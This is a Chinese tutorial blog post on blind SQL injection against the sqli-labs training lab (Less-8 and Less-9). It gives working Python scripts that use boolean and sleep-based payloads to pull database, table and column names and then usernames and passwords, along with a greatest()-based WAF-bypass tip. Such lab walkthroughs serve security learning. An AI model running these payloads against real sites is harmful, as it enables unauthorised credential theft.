二分查找sql时间盲注,布尔盲注

news2025/2/19 2:00:26

目录

一:基础知识引导

数据库:information_schema里面记录着数据库的所有元信息

二,布尔盲注,时间盲注

(1)布尔盲注案例(以sqli-labs第八关为例):

(2)时间盲注案例(以sqli-labs第九关为例):


一:基础知识引导

数据库:information_schema里面记录着数据库的所有元信息

use information_schema;

schemata表,记录着所有数据库(schema_name数据库的名称)

select schema_name from schemata;

tables表,记录着所有表(重要字段:table_schema所属的数据库,table_name数据表的名称)

select table_name from tables where table_schema = "security"; 查找数据库”security“的所有表

columns表,记录着所有字段(列)(table_schema所属数据库,table_name数据表的名称,column_name列名称)

select column_name from columns where table_schema="security" and table_name="users";查找数据库为“security”,表为“users”的所有字段名称

二,布尔盲注,时间盲注

特征:

1,其实这两个盲注本质上是一样的,两个盲注都是页面没有回显(报错回显,查询结果回显

2,布尔盲注是sql执行结果正确和错误显示的页面不一样,可以从返回页面的情况来进行判断。时间盲注则是sql执行结果正确与否显示的页面都一样,但是确实存在sql注入的情况,此时可以使用if(条件,sleep(3),)对是否沉睡三秒来进行判断

(1)布尔盲注案例(以sqli-labs第八关为例):

可以看到对sql查询有结果的话显示的页面是"You are in...........",没结果则不显示,此时可以使用sqlmap软件去进行盲注查找,也可以使用sql脚本去遍历查找自己所需的值。

python脚本代码:

import requests

# URL = "http://localhost/Less-8/"
# paload = {"id":"1' and ascii(substr(database(),1,1))=115 -- "}
# res = requests.get(url=URL,params=paload)
# if "You are in" in res.text:
#     print("yes")
# else:
#     print("no")
def get_database(URL):
    # 获取数据库名称
    s = ""
    for i in range(1,10):
        low = 32
        hight = 128
        mid = (low+hight)//2
        while(hight > low):
            paload = {"id": f"1' and greatest(ascii(substr(database(),{i},1)),{mid})={mid} -- "}#相当于第一个字符<={mid}条件判断为真
            res = requests.get(url=URL, params=paload)
            if "You are in" in res.text:
                hight = mid
                mid = (low + hight) // 2
            else:
                low = mid +1
                mid = (low + hight) // 2
        s+=chr(mid)
        print("数据库名称:"+s)

def get_table(URL):
    # 获取表名称
    s = ""
    for i in range(1,32):
        low = 32
        hight = 128
        mid = (low+hight)//2
        while(hight > low):
            paload = {"id": f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=paload)
            if "You are in" in res.text:
                low = mid +1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s+=chr(mid)
        print("表的名称:"+s)

def get_column(URL):
    # 获取管理员的字段名称
    s = ""
    for i in range(1,32):
        low = 32
        hight = 128
        mid = (low+hight)//2
        while(hight > low):
            paload = {"id": f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=paload)
            if "You are in" in res.text:
                low = mid +1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s+=chr(mid)
        print("列的名称:"+s)

def get_result(URl):
    # 获取用户名和密码信息
    s = ""
    for i in range(1,32):
        low = 32
        hight = 128
        mid = (low+hight)//2
        while(hight > low):
            paload = {"id": f"1' and ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=paload)
            if "You are in" in res.text:
                low = mid +1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s+=chr(mid)
        print("用户名及密码信息:"+s)

if __name__ == '__main__':
    URL = "http://localhost/Less-8/"
    # get_database(URL)
    # get_table(URL)
    # get_column(URL)
    get_result(URL)

执行结果:

这里我只遍历了32位,有需要可以增加。

(2)时间盲注案例(以sqli-labs第九关为例):

php代码:

可以看出无论sql正确与否,查到或者未查到显示的页面都是一样的,但是还是存在时间盲注:可以用if(1=1,sleep(3),1)测试一下

此时,浏览器上方转圈圈转了三秒,说明存在时间盲注,此时用python脚本遍历的方法大致跟布尔盲注一样,只需要将sql条件注入写到if()中1=1的位置即可。然后根据浏览器获得页面的前后时间进行判断。

python脚本代码:

import requests
import datetime
# URL = "http://localhost/Less-8/"
# paload = {"id":"1' and ascii(substr(database(),1,1))=115 -- "}
# res = requests.get(url=URL,params=paload)
# if "You are in" in res.text:
#     print("yes")
# else:
#     print("no")
def get_database(URL):
    # 获取数据库名称
    s = ""
    for i in range(1,10):
        low = 32
        hight = 128
        mid = (low+hight)//2
        while(hight > low):
            paload = {"id": f"1' and if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(3),1) -- "}#相当于第一个字符<={mid}条件判断为真
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >=3:
                hight = mid
                mid = (low + hight) // 2
            else:
                low = mid +1
                mid = (low + hight) // 2
        s+=chr(mid)
        print("数据库名称:"+s)

def get_table(URL):
    # 获取表名称
    s = ""
    for i in range(1,32):
        low = 32
        hight = 128
        mid = (low+hight)//2
        while(hight > low):
            paload = {"id": f"1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >=3:
                low = mid +1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s+=chr(mid)
        print("表的名称:"+s)

def get_column(URL):
    # 获取管理员的字段名称
    s = ""
    for i in range(1,32):
        low = 32
        hight = 128
        mid = (low+hight)//2
        while(hight > low):
            paload = {"id": f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >=3:
                low = mid +1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s+=chr(mid)
        print("列的名称:"+s)

def get_result(URl):
    # 获取用户名和密码信息
    s = ""
    for i in range(1,32):
        low = 32
        hight = 128
        mid = (low+hight)//2
        while(hight > low):
            paload = {"id": f"1' and if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=paload)
            end = datetime.datetime.now()
            if (end - start).seconds >=3:
                low = mid +1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s+=chr(mid)
        print("用户名及密码信息:"+s)

if __name__ == '__main__':
    URL = "http://localhost/Less-9/"
    get_database(URL)
    # get_table(URL)
    # get_column(URL)
    # get_result(URL)

结果:

上面两个python脚本代码的第一个获取数据库的函数,sql语句注入用到了greatest函数,可用来绕过过滤掉<>的waf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2298094.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机网络-MPLS转发原理

在上一篇关于 MPLS 基础的文章中&#xff0c;我们了解了 MPLS 的基本概念、术语以及它在网络中的重要性。今天&#xff0c;我们将深入探讨 MPLS 转发的原理与流程&#xff0c;帮助大家更好地理解 MPLS 是如何在实际网络中工作的。 一、MPLS 转发概述 MPLS 转发的本质是将数据…

【设计模式】【行为型模式】职责链模式(Chain of Responsibility)

&#x1f44b;hi&#xff0c;我不是一名外包公司的员工&#xff0c;也不会偷吃茶水间的零食&#xff0c;我的梦想是能写高端CRUD &#x1f525; 2025本人正在沉淀中… 博客更新速度 &#x1f44d; 欢迎点赞、收藏、关注&#xff0c;跟上我的更新节奏 &#x1f3b5; 当你的天空突…

【H5自适应】高端科技类pbootcms网站模板 – 三级栏目、下载与招聘功能支持

(H5自适应)高端大气的科技类pbootcms网站模板 带三级栏目、下载和招聘功能 后台地址&#xff1a;您的域名/admin.php 后台账号&#xff1a;admin 后台密码&#xff1a;123456 为了提升系统安全&#xff0c;请将后台文件admin.php的文件名修改一下。修改之后&#xff0c;后台…

【Java 面试 八股文】框架篇

框架篇 1. Spring框架中的单例bean是线程安全的吗&#xff1f;2. 什么是AOP&#xff1f;3. 你们项目中有没有使用到AOP&#xff1f;4. Spring中的事务是如何实现的&#xff1f;5. Spring中事务失效的场景有哪些&#xff1f;6. Spring的bean的生命周期&#xff1f;7. Spring中的…

自动化UI测试 | 什么是测试驱动开发(TDD)和行为驱动开发(BDD)?有何区别?

TDD&#xff08;测试驱动开发&#xff09;和BDD&#xff08;行为驱动开发&#xff09;是两种独特的软件开发技术&#xff0c;它们在测试的内容和方式上有所不同。尽管名称相似&#xff0c;但服务于不同的目的。 什么是TDD&#xff1f; TDD代表测试驱动开发。它是一个过程&…

DeepSeek 助力 Vue 开发:打造丝滑的进度条

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 Deep…

一场始于 Selector Error 的拯救行动:企查查数据采集故障排查记

时间轴呈现事故进程 17:00&#xff1a;开发人员小李正在尝试利用 Python 爬虫从企查查&#xff08;https://www.qcc.com&#xff09;抓取公司工商信息。原本一切正常&#xff0c;但突然发现信息采集失败&#xff0c;程序抛出大量选择器错误。17:15&#xff1a;小李发现&#x…

微信服务号推送消息

这里如果 没有 就需要点新的功能去申请一下 申请成功之后就可以设置模版消息 推送到用户接受的页面是 需要后端调用接口 传递token 发送给客户

24电子信息类研究生复试面试问题汇总 电子信息类专业知识问题最全!电子信息复试全流程攻略 电子信息考研复试真题汇总

你是不是在为电子信息考研复试焦虑&#xff1f;害怕被老师问到刁钻问题、担心专业面答不上来&#xff1f;别慌&#xff01;作为复试面试92分逆袭上岸的学姐&#xff0c;今天手把手教你拆解电子信息类复试通关密码&#xff01;看完这篇&#xff0c;让你面试现场直接开大&#xf…

嵌入式EasyRTC实时通话支持海思hi3516cv610,编译器arm-v01c02-linux-musleabi-gcc

EasyRTC已经完美支持海思hi3516cv610&#xff0c;编译器arm-v01c02-linux-musleabi-gcc&#xff0c;总体SDK大小控制在680K以内&#xff08;预计还能压缩100K上下&#xff09;&#xff1a; EasyRTC在hi3516cv610芯片上能双向通话、发送文字以及二进制指令&#xff0c;总体运行…

计算机视觉中图像的基础认知

一、图像/视频的基本属性 在计算机视觉中&#xff0c;图像和视频的本质是多维数值矩阵。图像或视频数据的一些基本属性。 宽度&#xff08;W&#xff09; 和 高度&#xff08;H&#xff09; 定义了图像的像素分辨率&#xff0c;单位通常是像素。例如&#xff0c;一张 1920x10…

Docker Desktop WebAPI《1》

方法1 》》生成 的文档不要动&#xff0c; 》》执行 Container&#xff08;Dockerfile&#xff09; 会生成镜像文件和容器 》》生成的镜像和容器 在 Docker Desktop 中可以查看 用VS 的 Container Dockerfile 调试 但把这个调试工工具 停止&#xff0c;WebAPi就不能访问了 …

《OpenCV》——特征提取与匹配方法

特征提取 特征提取是从原始数据中提取出能够代表数据本质特征和关键信息的过程&#xff0c;在很多领域都有广泛应用。原始数据往往包含大量的冗余信息&#xff0c;特征提取的目的是去除这些冗余&#xff0c;提取出最具代表性、最能区分不同类别或模式的特征&#xff0c;从而降…

如何使用DHTMLX Scheduler的拖放功能,在 JS 日程安排日历中创建一组相同的事件

DHTMLX Scheduler 是一个全面的调度解决方案&#xff0c;涵盖了与规划事件相关的广泛需求。假设您在我们的 Scheduler 文档中找不到任何功能&#xff0c;并且希望在我们的 Scheduler 文档中看到您的项目。在这种情况下&#xff0c;很可能可以使用自定义解决方案来实现此类功能。…

​矩阵元素的“鞍点”​

题意&#xff1a; 一个矩阵元素的“鞍点”是指该位置上的元素值在该行上最大、在该列上最小。 本题要求编写程序&#xff0c;求一个给定的n阶方阵的鞍点。 输入格式&#xff1a; 输入第一行给出一个正整数n&#xff08;1≤n≤6&#xff09;。随后n行&#xff0c;每行给出n个整数…

Qt的isVisible ()函数介绍和判断窗口是否在当前界面显示

1、现象&#xff1a;当Qt的窗口最小化时&#xff0c;isVisible值一定是true&#xff0c;这是正常的。 解释&#xff1a;在Qt中&#xff0c;当你点击窗口的最小化按钮时&#xff0c;Qt内部不会自动调用 hide() 方或 setVisible(false) 来隐藏窗口。相反&#xff0c;它会改变窗口…

Unity-Mirror网络框架-从入门到精通之LagCompensation示例

文章目录 前言什么是滞后补偿Lag Compensation示例延迟补偿原理ServerCubeClientCubeCapture2DSnapshot3D补充LagCompensation.cs 独立算法滞后补偿器组件注意:算法最小示例前言 在现代游戏开发中,网络功能日益成为提升游戏体验的关键组成部分。本系列文章将为读者提供对Mir…

Jenkins 通过 Execute Shell 执行 shell 脚本 七

Jenkins 通过 Execute Shell 执行 shell 脚本 七 一、创建 .sh 文件 项目目录下新建 .sh 文件 jenkins-script\shell\ci_android_master.sh添加 Execute Shell 模块 在 Command 中添加 # 获取 .sh 路径 CI_ANDROID_MASTER_PATH"${WORKSPACE}/jenkins-script/shell/…

PyCharm 批量替换

选择替换的内容 1. 打开全局替换窗口 有两种方式可以打开全局替换窗口&#xff1a; 快捷键方式&#xff1a; 在 Windows 或 Linux 系统下&#xff0c;按下 Ctrl Shift R。在 Mac 系统下&#xff0c;按下 Command Shift R。菜单操作方式&#xff1a;点击菜单栏中的 Edit&…

Linux-文件基本操作

1.基本概念 文件: 一组相关数据的集合 文件名: 01.sh //文件名 2.linux下的文件类型 b block 块设备文件 eg: 硬盘 c character 字符设备文件 eg: 鼠标&#xff0c;键盘 d directory 目录文件 eg: 文件夹 - regular 常规文件…